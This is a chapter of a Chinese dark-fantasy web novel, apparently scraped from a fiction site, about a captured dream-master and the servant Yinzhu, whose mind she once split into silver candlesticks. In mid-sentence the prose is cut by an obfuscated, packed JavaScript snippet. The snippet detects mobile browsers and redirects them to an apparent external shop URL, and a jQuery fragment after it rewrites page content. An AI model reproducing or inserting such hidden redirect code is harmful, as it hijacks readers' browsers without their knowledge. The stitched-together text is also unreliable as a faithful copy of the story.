112. 迷人的晚餐(二)
作品:《我燃烧的理由》 “行啦……留她口气,也是给自己留条活路。”
高松华目光扫过远处茫茫大地上,如枯草一般的蚕丝蛛线,神情严肃。
他知道,初月掉下蚁山昏厥过后,一定是陷入了深度的睡眠梦境里,和现主进行了交换。
只不过,她的这次睡眠和上次一样,没能换来梦世界运行的能量,反而出现了能量的反向输送,以至于地底世界的生机都死了大半。
“浇醒她。”
一桶水下去,“呲呲呲”声伴随着蒸腾的水汽呼呼往上冒。
麻袋里传来一声微弱的痛苦呻吟。
高松华拍了拍凌晓的肩,肯定他的功劳:“不错,多亏了你提前告知初月有驭火的能力,这才提前织好这防火的麻袋,不然,这满世界的蚕丝蛛丝,真拿她没办法。”
“愿为……统领……效劳!”
凌晓的吸盘嘴难得地动了动,他顺从的低下头去,拼命将脖子从坚固的钢圈里伸出来,故意露出脆弱的脖颈,以示忠心。
此刻的他,内心无比激动。
他终于在漫长痛苦的煎熬中,找到了能够一举拿下初月的人,只要投身于高松华麾下,他被安上吸盘嘴的大仇,迟早得报。
高松华对凌晓的脖子毫无兴趣。
他下巴一抬,示意远远站在一旁的银烛,说:“你,准备晚宴吧!按照计划安排。”
随之大手一挥,扫过一圈,爽朗的笑声撞进地窖绕了一个圈后,又回到原地。
“今天在场的各位,晚宴见者有份。”
“是。”
“是。”
“……”
凌晓、银烛、还有伫立一旁的何黎黎齐声称“是”。
“哦对了,你再去叫上王瑾,他要是有什么心腹,也可一起带来。”
“是。”银烛道。
见高松华许久未再吩咐,她上前几步,单手抓起地上的麻袋,甩上肩扛起就走。
“高统领……她……”凌晓最先急了。
“无妨。”高松华按下他,“她去安排晚宴,你准备好吃就行。你随我来,跟我细说下那个老巫婆的事情。”
说着便搭着凌晓的肩,二人往蚕室走去。
“哦对了!”高松华的声音从拐角传来,“把地窖里那小子也叫上吧!既然说了见者有份,也是便宜他了!”
肩上的麻袋烫得惊人,银烛紧紧拽住封口,生怕让初月一个不小心逃了出来,第一个被烧死的便是自己。
她望着四散开的众人,听到了麻袋里“窸窣”的声响。
“别白费力气了,”银烛低声说,“这麻袋的丝线,是从白纻树最深处的根系提取出来的,刀枪不入,火烧不透,你还是少费些力气吧!”
麻袋里传出来的声音闷闷的,那里面的人似乎在挠袋子,她说:“银烛,在蚁山的时候,你不是还给我暗示了吗?怎么现在又变得这么陌生了……啊……是不是他们还没走远?”
银烛的这口闷气憋了三年多,此刻终于轮到她站在了高位,她一侧身,将麻袋砸在地上,白色小皮鞋的鞋尖踹了过去。
“变得陌生?我们什么时候亲近过?在别墅的时候吗?!我伺候你的时候吗?!我说主人啊!你是不是真以为我是个毫无尊严、毫无感情的家务机器啊?!”
初月背上受了银烛一脚重踢,龇牙咧嘴中不知自己哪里得罪她了:“我不明白……我以为,那是你的工作……”
“而且!”麻袋里的声音因激动变得高亢起来,“那段时间里,也只有你变得疯癫……不,我意思是说,你眼珠子翻过去之后,我不得已才对你……”
“闭嘴吧!”
银烛又是一脚上去,麻袋翻滚一周。
此时只有她们二人的环境,银烛再也忍不住了,将自己积怨已久的愤怒一股脑儿的倾倒了出来。
银烛稍一思忖,反正初月从此之后就要变成活死人一个了,而她再也不用被安排到初月身边点头哈腰了,自己还有什么可顾忌的呢?让她”死“个明白也好。
她说:“你以为我愿意装成那副疯癫的样子啊?不都是你不配合我工作,死活不进入梦境……您是主人,命比千金贵,可我呢?我只是个小喽啰,我要讨饭吃的!我交不了差,死的就是我了”
“啊……原来你是装的……”
初月的恍然大悟被封锁在这个密不透风的麻袋里,只有自己听得到。
银烛的生活,是在三年前变坏的。
原本,她只是高松华安排在梦主初月身边的眼线,替他控制初月,定时定量的入睡,以保证献祭记忆得来的能量足够维持梦世界的运转。
可是有一天,主人初月外出回来后,将自己关在地下室的小房间倒腾了很久。
桌子椅子被她拆了又装,装了又拆。
接着,一个左眼生的怪异的女人来到了初月的别墅,初月说,那是她新交的朋友。
银烛便恪守身份,正常款待。
可二人只是喝了杯水,就一同钻进了地下室。
那天,厨房里未处理的活鱼活鸡也被她们征用了去,没过多久,活鱼的扑腾声、活鸡的鸡鸣声,全都消失不见。
地下室的那个房间,初月不允许银烛进入。
打扫卫生都不行。
谁也无法抵挡一个“禁止进入”标识的诱惑。
银烛也不例外。
但一直以来她都自认为恪守得很好。
直到那天,银烛像往常一样给全屋做深层清洁,路过地下室那间紧闭的门时,里面闪烁的幽幽红光引得她不自觉停下了脚步。
但是,银烛自始至终都认为,她从未想过违背主任初月的命令,擅自进入那个空间。
她也好奇过这个原本的工具间现在的样子,但那也只是一瞬间的好奇而已。
银烛在意的,只是自己的工作任务——一个是作为初月的仆人,打扫家里里里外外,另一个,也是最为重要的,就是作为高松华长在地上世界的“触手”之一,严格督促主人初月行使她入睡献祭的任务。
而这两个任务,在她扮演的两种人格面具的帮助下,她都完成得毫无压力。
细致入微的仆人身份,初月无可挑剔。
银烛眼白上翻假装成疯癫模样,强行将初月压制进入睡眠状态,也无往不利。
而且,她惊喜的发现,初月怕她。
怕她癫狂的样子。
银烛她装疯扮傻时,她们主仆二人,优势地位倒置的样子。
所以,初月她们在那扇门后搞什么秘密。
银烛好奇,但是不在乎。
可是那一天,她鬼使神差般的停在门外,盯着门缝里的幽幽红光。
突然间,两根长长的触须从门底下一闪而过。
接着,蟑螂的尖屁股扭了出来,正对着她手上的笤帚。
没有人手拿着笤帚,还能忍住不下意识地对小强发起攻击。
银烛也不例外。
更何况,“清洁打扫”是刻在她大脑里的思想钢印。
于是,她操起笤帚,对准门缝,猛地一下砸了过去。
门开了。
银烛的视线不再被脚下那小小的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758675|176095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蟑螂吸引。
她看到了门内那“幽幽红光”本身。
这时,在呆立着的银烛身后,有一双手平直举起,对准了站在门口的她。
“砰”的一声重击,银烛后背被猛的一推,她身体不受控地向前倒去,扑在了那张长着人腿的活桌子上。
“实验进行有一段时间了,也该是时候用真人试试了……”
银烛回转身体,看见初月的双眼被映得通红。
门应声合上。
一只头顶着两根长长触须、身上长满鱼鳞、拖拉着尖屁股的诡异蟑螂,从门缝里钻了出来。
它小小的身体很轻易就逃离了门后面的残暴场面。
而银烛,她逃不掉。
室外从天明到天黑、从天黑到天明,地下室的工具间里依旧是满目的红色。
不知过了多久,久到银烛觉得自己的眼睛出现了幻觉,竟能同时看到初月的正面和背面、头顶和手心。
她听到俯视的、仰视的、各个角度的初月同时说话,声音仿佛经历了话筒的发散,立体环绕绵延不绝。
“以后,你就叫银烛吧。”
银烛看见初月将自己轻易地举起来,拿在手上把玩。
无论她怎么挣扎、踢打,使出去的力气都被一一化解。
“银色的烛台,是你,你,是银色的烛台。”
初月手拿着一只银色的烛台仔细端详,又说了一句银烛听不懂的话:“你该感谢我,给了你不止一个身体。”
银烛低头看去,初月脚边遍地都是银色的烛台。
银烛抬头看去,初月手里拿的、桌边放的、墙上挂着的,都是银色的烛台。
她的意识被初月切割装进了数十个烛台里。
“今天几号?我又睡忘了。应该记下来,今天是置换实验在人身上取得一大步进展的日子呢。”
初月手一松,烛台摔在地上,滚落到门边。
透过门缝,银烛看见了门外那只长着鱼鳞的怪异蟑螂,正骚动着触须看着自己。
于是,眼睁睁的,银烛看着它急速穿过门缝,骑在了自己脸上……
而这一小份被困在烛台的意识,没有丝毫还手的能力……
至此,银烛怕她,比以往初月怕银烛更甚。
此刻,身份倒转,银烛也迎来了独属于她的恐惧。
日子一天天过去,银烛渴求得到救助的希望越来越渺茫。
虽然她意识的主体仍在她的身体里,但是身为烛台的她却有很多个。
她们被初月分布在别墅的犄角旮旯里,灰尘扑面,虫卵叠生。
每时每刻,都有某一个她在经受煎熬。
她不是没尝试过向自己的真主子求助,可是,她在高松华面前能说的内容,仅限于初月的入睡报告。
其他的,她没有权限上报。
白纻树丝卡在她的喉咙里,像一把锁锁住了她的喉舌。
她既无法透露地底世界的秘密,也无法向高松华说一句有关初月在进行人体实验的事。
她就像一个已经被写好的程序,只能按规矩行事。
她只能在自己的职责范围内,将小别墅清理的干干净净,一尘不染到发指的程度,迂回的为数十个“小自己”保持体面。
但是,被点燃的烛台,是没有体面而言的。
银烛只能在被火苗烧掉头颅之前,竭力将监视内容整理打包发送给主意识的大脑。
就这样,她混乱的日子又过了两年。
在某一个晚上,外出四天后的初月重新站在了小别墅的门前。

